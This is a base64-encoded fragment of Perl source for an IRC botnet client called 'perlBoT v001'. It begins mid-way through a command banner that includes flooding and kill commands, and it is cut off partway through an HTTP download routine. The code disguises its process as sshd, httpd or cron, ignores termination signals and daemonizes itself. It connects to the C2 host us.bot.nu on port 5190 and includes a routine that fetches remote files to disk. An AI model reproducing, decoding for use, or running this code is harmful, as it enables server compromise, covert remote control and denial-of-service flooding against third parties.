XNnIDxuaWNrPiAgICAgICAgICAgICAgICMjICF4IEBub3RpY2VmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgIXggIXF1aXQgICAgICAgICAgICAgICAgICAgICAjIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMNCiMjICF4ICF4YXcgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjDQojIyAheCAhZGllICAgICAgICAgICAgICAgICAgICAgICMjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIENvbmZpZ3VyYXRpb24gXSAjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KbXkgQHJwcyA9ICgiL3Vzci9sb2NhbC9hcGFjaGUvYmluL2h0dHBkIC1EU1NMIiwiL3Vzci9zYmluL2h0dHBkIC1rIHN0YXJ0IC1EU1NMIiwiL3Vzci9zYmluL2h0dHBkIiwiL3Vzci9zYmluL3NzaGQgLWkiLCIvdXNyL3NiaW4vc3NoZCIsIi91c3Ivc2Jpbi9zc2hkIC1EIiwiL3NiaW4vc3lzbG9nZCIsIi9zYmluL2tsb2dkIC1jIDEgLXggLXgiLCIvdXNyL3NiaW4vYWNwaWQiLCIvdXNyL3NiaW4vY3JvbiIpOw0KbXkgJHByb2Nlc3MgPSAkcnBzW3JhbmQgc2NhbGFyIEBycHNdOw0KbXkgQHJ2ZXJzaW9uID0gKCJcMDAxVkVSU0lPTiAtIHVua25vd24gY29tbWFuZC5cMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY1LjkxIEsuTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMiBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMDMgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY2LjE0IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcMDAxbUlSQyB2Ni4xNSBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMTYgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY2LjE3IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcMDAxbUlSQyB2Ni4yMSBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMzEgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY3LjE1IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIpOw0KbXkgJHZlcnMgPSAkcnZlcnNpb25bcmFuZCBzY2FsYXIgQHJ2ZXJzaW9uXTsNCm15IEByaXJjbmFtZSA9ICgiYWJib3JlIiwiYWJseSIsImFieXNzIiwiYWNyaW1hIiwiYWVyb2RyZWFtIiwiYWZrZGVtb24iLCJhaW50aGVyZSIsImFsYmVydG8iLCJhbGV4aWEiLCJhbGV4bmRyYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhbGlhcyIsImFsaWtraSIsImFscGhhYSIsImFsdGVyZWdvIiwiYWx2aW4iLCJhbWJyYSIsImFtZWQiLCJhbmRqZWxhIiwiYW5kcmVhcyIsImFuamEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYW5qaW5nIiwiYW5uYSIsImFwZXEiLCJhcm50eiIsImFyc2theiIsImFzIiwiYXNtb2RpenoiLCJhc3NzYSIsImF0aGFuYXMiLCJhdWxpcyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdXMiLCJiYXIiLCJiYXN0IiwiYmVkZW0iLCJiZWV0aCIsImJlbGxhIiwiYmlyaWxsbyIsImJpemlvIiwiYmxhY2toYW5kIiwiYmxhY2t5IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImJsaWV0dGEiLCJibG9uZGVub3IiLCJibHVlYW5nZWwiLCJibHVlYnVzIiwiYmx1ZXkiLCJib2JpIiwiYm9wb2giLCJib3JyZSIsImJveSIsImJyYW0iLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYnJpZ2l0dGEiLCJicmlvIiwiYnJycndlZyIsImJydWphaCIsImNhcHJjb3JuIiwiY2FybG90byIsImNhdGdpcmwiLCJjYXRocmVuIiwiY2VtYW5tcCIsImNoYWluZXNzIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNoYWluZ29uZSIsImNoY2siLCJjaHJpeiIsImNpZ3MiLCJjaW50YXQiLCJjbGFyaXNzYSIsImNsYml6IiwiY2xleCIsImNvYmUiLCJjb2NrZXIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY29rZSIsImNvbGluIiwiY29uYW4iLCJjb25kb29tIiwiY29vcCIsImNvb3BlcnMiLCJjb3J2b25lcm8iLCJjb3VudHplcm8iLCJjcmFja2VyIiwiY3JlYWQiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY3JuYXJ1a2EiLCJjcnVpemVyIiwiY3ViYWxpYnJlIiwiY3VyZSIsImN1c3RvZGVzIiwiZGFuIiwiZGFuZ2VsbyIsImRhbmljIiwiZGFuaWVsYSIsImRhcmlvIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhcmtlciIsImRhcmtueiIsImRhdmlkZSIsImRhdyIsImRlbWlnZCIsImRlcyIsImRldmFzdG9yIiwiZGlhYm9saWsiLCJkaW1rYW0iLCJkaXRhbCIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkanR0IiwiZG9nenp6IiwiZG9sZmkiLCJkb2xwaGluIiwiZG90dG1vcnRlIiwiZHJhY29uIiwiZHJhZ29uIiwiZHJ0dGUiLCJkdW1iYmxuZCIsImR1c2ljYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlYmUiLCJlZGdpZSIsImVnZ2lzdCIsImVpbmFpbW91IiwiZWxlZiIsImVsbHkiLCJlbW1pIiwiZW5jZXIiLCJlbmdlcmltIiwiZXJpeG9uIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImV1cm90cmFzaCIsImZhaXJzaWdodCIsImZpbiIsImZpcmVhd2F5IiwiZmpvcnRpc2NoIiwiZmxvdXR0aSIsImZsdWZmZXIiLCJmbHVtIiwiZm9yZXZlciIsImZxdyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmcmEiLCJmcmVlbSIsImZyZWV3IiwiZnJldWQiLCJmdW5ueSIsImZ1cmlhIiwiZnVydW5rdWxpIiwiZndzbW91IiwiZ2FkIiwiZ2FtcHB5IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdlcmhhcmQiLCJnaG9zdGllIiwiZ2lsaSIsImdpcmxpZSIsImdpdWdubyIsImdpem1vIiwiZ2xpZGFyZW4iLCJnb2xkIiwiZ29tb3JhIiwiZ3JhY2llIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdyYXZlIiwiZ3JheiIsImdycm9uIiwiZ3N1bmQiLCJndWZvYW8iLCJoYWxpIiwiaGFsbGFzIiwiaGFtbWVyIiwiaGFycmkiLCJoYXJyeSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJoYXllcyIsImhhem9yIiwiaGVyYmlleiIsImhsaW9zIiwiaG9mZmkiLCJob25laWkiLCJob25na29uZyIsImh1ZyIsImlhc3YiLCJpYmFuZXoiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaWJhbnoiLCJpYmFyIiwiaWdpIiwiaWxsdXNpbnMiLCJpbXAiLCJpbmt3b3JrcyIsImlwbG9yZCIsIml2YW4iLCJqYSIsImphZmZhIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImphaW1lYWZrIiwiamFtZXMiLCJqYW1lemRpbiIsImphbmV0IiwiamFubmUiLCJqYXNvbiIsImphdmFncmwiLCJqYXljIiwiamF6eiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqZWpib3J0YSIsImplc3RlciIsImpqIiwiam4iLCJqb2NrZXkiLCJqb2UiLCJqb2VsYml0YXIiLCJqb2hhbm5lcyIsImpvaG5kb3ciLCJqb2hubnkiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiam9uaSIsImpvbm5pIiwiam9ybngiLCJqb3NodWEiLCJqb3NzdW1pIiwianVkeSIsImp1Z2UiLCJqdWhhIiwianVoYXMiLCJqdWx6ZSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqdXV0c3UiLCJrYWptYW4iLCJrYWxjYSIsImthbWlsZW9uIiwia2FyZGluYWwiLCJrYXNhbmRyYSIsImthdGFyaW5hIiwia2F2aWVlIiwia2JlZSIsImtlbiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJrZXVuZyIsImtld2luIiwia2hhbiIsImtpa2VsaSIsImtpa2lpIiwia2lscm9pIiwia2l3aSIsImtsYWFyYSIsImtsaWltYXgiLCJrbGltYXMiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia29kZSIsImtvanYiLCJrb29wYWwiLCJrcmFsaiIsImtyYXNoIiwia3Jpc3RhIiwia3Jvbm9zIiwia3R4Iiwia3VuZ2VuIiwia3VwcGEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia3VyYWkiLCJsYWxhIiwibGFtb3VyIiwibGF0aW5hIiwibGVnZW5kIiwibGVuaXNhd2F5IiwibGlseSIsImxpbmRhIiwibGluZ3llZSIsImxpbnV4IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImxpc2EiLCJsaXNoYSIsImxpdHRhIiwibGl0dGxlYm95IiwibGl2ZXJwb28iLCJsaXllbiIsImxpeiIsImxpemEiLCJsb25lbHkiLCJsb25lbHlnYWwiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibG9uZXdvbGYiLCJsb3BleiIsImxvcmRpZSIsImxvdmVieXRlIiwibHBoIiwibHVhcmJpYXNhIiwibHVjaWdub2wiLCJsdWxsYWJ5IiwibHVuYXRpYyIsImx1bnkiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibHVwbyIsIm1hYyIsIm1hY2VzZ2wiLCJtYWRkIiwibWFpbG1hbiIsIm1hbGthdiIsIm1hbHIiLCJtYW1ha2lhbnMiLCJtYW1hdyIsIm1hbmFyaW1vdSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtYW5hcmlzb3UiLCJtYXJhZG9uYSIsIm1hcmFrYW5hIiwibWFyY28iLCJtYXJpbGxpb24iLCJtYXJrIiwibWFyeSIsIm1hc3RlciIsIm1hdXJpbm8iLCJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWNhbGNvdGEiLCJtZWxhbmllIiwibWVsaW5kYSIsIm1lcGgiLCJtZXBoaXN0byIsIm1nIiwibWhqIiwibWh6IiwibWlnIiwibWlpbmEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWlrYSIsIm1pa2F2IiwibWlrZSIsIm1pa2VtY2dpaSIsIm1pa2tvIiwibWlrbWEiLCJtaW1tYSIsIm1pc3MiLCJtb2xhZG1pbiIsIm1vbmlrYXciLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibW9ua2V5Ym95IiwibW9ucm9lIiwibW9uc3RvcCIsIm1vb2tzIiwibW9yZGVzaHVyIiwibXBkaWtlIiwibXJiYXRlIiwibXJiZWF1dHkiLCJtcmJsb20iLCJtcmJ4IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1yamVlIiwibXJvIiwibXJ0YWJpenkiLCJtcngiLCJtcnh4IiwibXNkIiwibXUiLCJtdWltdWkiLCJtdXNhc2hpIiwibXVzYyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtdXNjZSIsIm11c2ljZ2FsIiwibXV0aSIsIm15Ym95IiwibXlzdHIiLCJteXRoaWMiLCJteXdpZmUiLCJuYWxsbGxsZSIsIm5hbmFzayIsIm5hdGFsaWUiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibmF0Ym9ydGEiLCJuY3VidXMiLCJuZXV0cmlubyIsIm5pY2VndXkiLCJuaWNvIiwibmlrbGFzIiwibmltZmEiLCJuaW5vIiwibnVydWwiLCJvYml3YW5iaXAiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAib2dyZSIsIm9saXZpYSIsIm9tZWdhIiwib25seSIsIm9yYWMiLCJvcmFjZSIsIm9yYW56enp6eiIsIm9yZ2FuemEiLCJvdXJsb3ZlIiwib3V0d29ybGQiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAib3V0emFrZSIsIm94eWduIiwicGFsaWFkb2ciLCJwYXphcmFjIiwicGVybWFsb3NvIiwicGVycm96IiwicGVzc2FhciIsInBocmUiLCJwaHJlYWt5IiwicGloa2FsIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBpbmJhbGwiLCJwb2VzamUiLCJwb2lzb24iLCJwb29maWUiLCJwb3B5IiwicG93ZXJwYyIsInBwZXIiLCJwcmltZXJhIiwicHJpbWV0aW1lIiwicHJveHltYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwc2h5Y2hlIiwicHNpb25jb3JlIiwicHNpeGltb3UiLCJwc2l4aXNvdSIsInBzeWNob3NpcyIsInBzeWlkbGUiLCJwc3phYWgiLCJwdXBwZXRtIiwicHp6enoiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicXVhdHRybyIsInF1ZXN0aW9uIiwicmEiLCJyYWdpbyIsInJhZ25ldHRvIiwicmFpZGVuIiwicmFpbmRhbmNlIiwicmFpc3RsbiIsInJhbnUiLCJyYXNrYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJyYXVsIiwicmF5ZSIsInJlYXJ0dSIsInJlZCIsInJlZmxlY3QiLCJyaWJpY2EiLCJyaWNoYXJkIiwicmljayIsInJpZ28iLCJyaWt1dGEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmlrdXhyIiwicml0YSIsInJpeCIsInJvYiIsInJva3UiLCJyb25hbGRvIiwicm9ud3JsIiwicm90aWNhbmFpIiwicnVnaWFkYSIsInJ1dGhsZXNzIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNhYWx1dCIsInNhbW1pIiwic2FuZCIsInNhdGFuaW5zIiwic2NoenNoIiwic2NvcnBpbiIsInNlYWxpbmsiLCJzZWFuIiwic2VjcmV0Iiwic2VycGVudG9yIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNlcnZhbnQiLCJzZXRoaSIsInNleGJvbGVrIiwic2V4eW1hbiIsInNoYXJtbSIsInNoZWFyZXIiLCJzaGVrZWwiLCJzaGlvIiwic2hvcnR5cyIsInNocmVkIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNpZGV3YWxrIiwic2lsIiwic2lyZW4iLCJza2FyIiwic2tpbGwiLCJza3J1Iiwic2t5Iiwic2t5Z3VuIiwic2t5bGluayIsInNsYWt0YXJuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNsYXNoIiwic2xnb24iLCJzbWFydGllcyIsInNtY2siLCJzbmFrZSIsInNuaWtlIiwic25vb3BnaXJsIiwic29kb21hIiwic29wb2NhbmkiLCJzb3JjZXJlc3MiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3BhY2ViYmwiLCJzcGFjZWR1bXAiLCJzcGFua2VyIiwic3Blcm1ib3kiLCJzcGlydG91bGkiLCJzcmsiLCJzdGF6enoiLCJzdGV2ZSIsInN0aW5nYSIsInN0aiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzdGpmIiwic3R1ZGVuaWNhIiwic3R1c3N5Iiwic3VleiIsInN1aG9qIiwic3VrdW4iLCJzdW5zb2xhIiwic3VyZmVyIiwic3V0ZXJhIiwic3ZlYXJpa2UiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3dlZXRpaSIsInN3ZWV0bGFkeSIsInN3ZWtsb3BpIiwic3dlcGlsb3QiLCJzd2l0Y2giLCJzeW5jcGhvcyIsInN6ZXJuIiwidGFrdW11cmEiLCJ0YWxsYXhsYyIsInRhbXBvbmUiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGFyYWJhcyIsInRhdGFubyIsInRhdG8iLCJ0ZW5uaXMiLCJ0ZW54IiwidGVyZW5jZSIsInRlcmt1a3VyIiwidGVybyIsInRoZWZveCIsInRoZXNpbnQiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGltZXIiLCJ0aW1ld2FsayIsInRtaGQiLCJ0bnhmY2siLCJ0byIsInRvbWloa2kiLCJ0b21teSIsInRvcG8iLCJ0cml1bXBoIiwidHJ1c3RtZSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0dW5nYXUiLCJ0dXBhYyIsInR1cmJvenp6eiIsInR1cmluZyIsInR2cmRqYXZhIiwidHlzbiIsInVuaWNyb24iLCJ1b2ZmIiwidXB0aW1lciIsInV0b3BpYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2YWRlciIsInZhaXNtaSIsInZhamplIiwidmFuZGEiLCJ2YXJqbyIsInZhc3MiLCJ2ZW50byIsInZlbnVzZ3V5IiwidmVydGllIiwidmlhZ2FyYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2aWNpb3VzIiwidmlkeHh4IiwidmlyZXgiLCJ2b2RhZm9uZSIsInZvbmUiLCJ2cmduaWUiLCJ2dXViZWliZSIsIndhbmRlcmVyIiwid2FycnIiLCJ3YXNhYmJveSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3ZWViZWUiLCJ3ZWxsdSIsIndlbmR5Iiwid2hpc2tleSIsIndpbGxnb29kIiwid2luZyIsIndpbm55Iiwid2tuaWdodCIsIndsbHkiLCJ3b2xmbWFuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIndvdyIsIndwIiwieGFyYXNvdSIsInh0cmVtZSIsInh4eCIsInh6b25lIiwieWFrenIiLCJ5YW5nIiwieWFzaHkiLCJ5YXNpbiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5ZW55ZW4iLCJ5a2J1ZyIsInlvZ2llYmVhciIsInphaSIsInpmc3RyIiwiemluaiIsInppenUiLCJ6dmV6ZGEiLCJ6d2ltb3UiLCJ6d2lzb3UiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiendzaWV3IiwiendzaWV3YWxlIik7DQpteSAkaXJjbmFtZSA9ICRyaXJjbmFtZVtyYW5kIHNjYWxhciBAcmlyY25hbWVdOw0KIyMgbXkgQHJyZWFsbmFtZSA9ICgiNCwxWyB1bmtub3duIF0iLA0KIyMgICAgICAgICAgICAgICAgICAiNCwxIC8hXCB1bmtub3duIC8hXCAiLA0KIyMgICAgICAgICAgICAgICAgICAiMiwxLS0tPT09IDQsMSB1bmtub3duIDIsMT09PS0tLSIpOw0KIyMgY2hvcCAobXkgJHJlYWxuYW1lID0gJHJyZWFsbmFtZVtyYW5kIHNjYWxhciBAcnJlYWxuYW1lXSk7DQoNCmNob3AgKG15ICRyZWFsbmFtZSA9IGB1bmFtZSAtc3JgKTsNCg0KbXkgJG5pY2sgPSRyaXJjbmFtZVtyYW5kIHNjYWxhciBAcmlyY25hbWVdOw0KDQokc2VydmVyID0gJ3VzLmJvdC5udScgdW5sZXNzICRzZXJ2ZXI7DQpteSAkcG9ydCA9ICc1MTkwJzsNCg0KbXkgJGxpbmFzX21heD0nOCc7DQpteSAkc2xlZXA9JzUnOw0KDQpteSAkaG9tZWRpciA9ICIvdmFyL3RtcCI7DQpteSAkdmVyc2lvbiA9ICdwZXJsQm9UIHYwMDEnOw0KDQpteSBAYWRtaW5zID0gKCJYIiwicm9vdCIpOw0KbXkgQGhvc3RhdXRoID0gKCIxLjEuMS4xIik7DQpteSBAY2hhbm5lbHMgPSAoIiNiYXNoIik7DQoNCm15ICRwYWNvdGVzID0gMTsNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIFsgU3RvcCBFZGl0aW5nIGlmIHlvdSBkb250IGtub3cgd2hhdCBhcmUgeW91IGRvaW5nLiBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQokU0lHeydJTlQnfSA9ICdJR05PUkUnOw0KJFNJR3snSFVQJ30gPSAnSUdOT1JFJzsNCiRTSUd7J1RFUk0nfSA9ICdJR05PUkUnOw0KJFNJR3snQ0hMRCd9ID0gJ0lHTk9SRSc7DQokU0lHeydQUyd9ID0gJ0lHTk9SRSc7DQoNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OlNvY2tldDsNCnVzZSBJTzo6U29ja2V0OjpJTkVUOw0KdXNlIElPOjpTZWxlY3Q7DQoNCmNoZGlyKCIkaG9tZWRpciIpOw0KDQokc2VydmVyPSIkQVJHVlswXSIgaWYgJEFSR1ZbMF07DQokMD0iJHByb2Nlc3MiLiJcMCJ4MTY7Ow0KbXkgJHBpZD1mb3JrOw0KZXhpdCBpZiAkcGlkOw0KZGllICJDYW4ndCBmb3JrIGluIGJhY2tncm91bmQ6ICQhIiB1bmxlc3MgZGVmaW5lZCgkcGlkKTsNCg0Kb3VyICVpcmNfc2VydmVyczsNCm91ciAlRENDOw0KbXkgJGRjY19zZWwgPSBuZXcgSU86OlNlbGVjdC0+bmV3KCk7DQokc2VsX2NsaWVudGUgPSBJTzo6U2VsZWN0LT5uZXcoKTsNCnN1YiBzZW5kcmF3IHsNCiAgaWYgKCQjXyA9PSAnMScpIHsNCiAgICBteSAkc29ja2V0ID0gJF9bMF07DQogICAgcHJpbnQgJHNvY2tldCAiJF9bMV1cbiI7DQogIH0gZWxzZSB7DQogICAgcHJpbnQgJElSQ19jdXJfc29ja2V0ICIkX1swXVxuIjsNCiAgfQ0KfQ0KDQpzdWIgZ2V0c3RvcmUgKCQkKQ0Kew0KICBteSAkdXJsID0gc2hpZnQ7DQogIG15ICRmaWxlID0gc2hpZnQ7DQogICRodHRwX3N0cmVhbV9vdXQgPSAxOw0KICBvcGVuKEdFVF9PVVRGSUxFLCAiPiAkZmlsZSIpOw0KICAlaHR0cF9sb29wX2NoZWNrID0gKCk7DQogIF9nZXQoJHVybCk7DQogIGNsb3NlIEdFVF9PVVRGSUxFOw0KICByZXR1cm4gJG1haW46Omh0dHBfZ2V0X3Jlc3VsdDsNCn0NCg0Kc3ViIF9nZXQNCnsNCiAgbXkgJHVybCA9IHNoaWZ0Ow0KICBteSAkcHJveHkgPSAiIjsNCiAgZ3JlcCB7KGxjKCRfKSBlcSAiaHR0cF9wcm94eSIpICYmICgkcHJveHkgPSAkRU5WeyRffSl9IGtleXMgJUVOVjsNCiAgaWYgKCgkcHJveHkgZXEgIiIpICYmICR1cmwgPX4gbSxeaHR0cDovLyhbXi86XSspKD86OihcZCspKT8oL1xTKik/JCwpIHsNCiAgICBteSAkaG9zdCA9ICQxOw0KICAgIG15ICRwb3J0ID0gJDIgfHwgODA7DQogICAgbXkgJHBhdGggPSAkMzsNCiAgICAkcGF0aCA9ICIvIiB1bmxlc3MgZGVmaW5lZCgkcGF0aCk7DQogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOw0KICB9IGVsc2lmICgkcHJveHkgPX4gbSxeaHR0cDovLyhbXi86XSspOihcZCspKC9cUyopPyQsKSB7DQogICAgbXkgJGhvc3QgPSAkMTsNCiAgICBteSAkcG9ydCA9ICQyOw0KICAgIG15ICRwYXRoID0gJHVybDsNCiAgICByZXR1cm4gX3RyaXZpYWxfaHR0cF9nZXQoJGhvc3QsICRwb3J0LCAkcGF0aCk7DQogIH0gZWxzZSB7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9DQp9DQoNCg0Kc3ViIF90cml2aWFsX2h0dHBfZ2V0DQp7DQogIG15KCRob3N0LCAkcG9ydCwgJHBhdGgpID0gQF87DQogIG15KCRBR0VOVCwgJFZFUlNJT04sICRwKTsNCiAgJEFHRU5UID0gImdldC1taW5pbWFsIjsNCiAgJFZFUlNJT04gPSAiMjAwMDAxMTgiOw0KICAkcGF0aCA9fiBzLyAvJTIwL2c7DQoNCiAgcmVxdWlyZSBJTzo6U29ja2V0Ow0KICBsb2NhbCgkXlcpID0gMDsNCiAgbXkgJHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3QsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBlZXJQb3J0ID0+ICRwb3J0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQcm90byAgID0+ICd0Y3AnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0ICA9PiA2MCkgfHwgcmV0dXJuOw0KICAkc29jay0+YXV0b2ZsdXNoOw0KICBteSAkbmV0bG9jID0gJGhvc3Q7DQogICRuZXRsb2MgLj0gIjokcG9ydCIgaWYgJHBvcnQgIT0gODA7DQogIG15ICRyZXF1ZXN0ID0gIkdFVCAkcGF0aCBIVFRQLzEuMFwwMTVcMDEyIg0KICAgICAgICAgICAgICAuICJIb3N0OiAkbmV0bG9jXDAxNVwwMTIiDQogICAgICAgICAgICAgIC4gIlVzZXItQWdlbnQ6ICRBR0VOVC8kVkVSU0lPTi91XDAxNVwwMTIiOw0KICAkcmVxdWVzdCAuPSAiUHJhZ21hOiBuby1jYWNoZVwwMTVcMDEyIiBpZiAoJG1haW46Omh0dHBfbm9fY2FjaGUpOw0KICAkcmVxdWVzdCAuPSAiXDAxNVwwMTIiOw0KICBwcmludCAkc29jayAkcmVxdWVzdDsNCg0KICBteSAkYnVmID0gIiI7DQogIG15ICRuOw0KICBteSAkYjEgPSAiIjsNCiAgd2hpbGUgKCRuID0gc3lzcmVhZCgkc29jaywgJGJ1ZiwgOCoxMDI0LCBsZW5ndGgoJGJ1ZikpKSB7DQogICAgaWYgKCRiMSBlcSAiIikgew0KICAgICAgJGIxID0gJGJ1ZjsNCiAgICAgICRidWYgPX4gcy8uKz9cMDE1P1wwMTJcMDE1P1wwMTIvL3M7DQogICAgfQ0KICAgIGlmICgkaHR0cF9zdHJlYW1fb3V0KSB7IHByaW50IEdFVF9PVVRGSUxFICRidWY7ICRidWYgPSAiIjsgfQ0KICB9DQogIHJldHVybiB1bmRlZiB1bmxlc3MgZGVmaW5lZCgkbik7DQogICRtYWluOjpodHRwX2dldF9yZXN1bHQgPSAyMDA7DQogIGlmICgkYjEgPX4gbSxeSFRUUC9cZCtcLlxkK1xzKyhcZCspW15cMDEyXSpcMDEyLCkgew0KICAgICRtYWluOjpodHRwX2dldF9yZXN1bHQgPSAkMTsNCiAgICBpZiAoJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9fiAvXjMwWzEyMzddLyAmJiAkYjEgPX4gL1wwMTJMb2NhdGlvbjpccyooXFMrKS8pIHsNCiAgICAgIG15ICR1cmwgPSAkMTsNCiAgICAgIHJldHVybiB1bmRlZiBpZiAkaHR0cF9sb29wX2NoZWNreyR1cmx9Kys7DQogI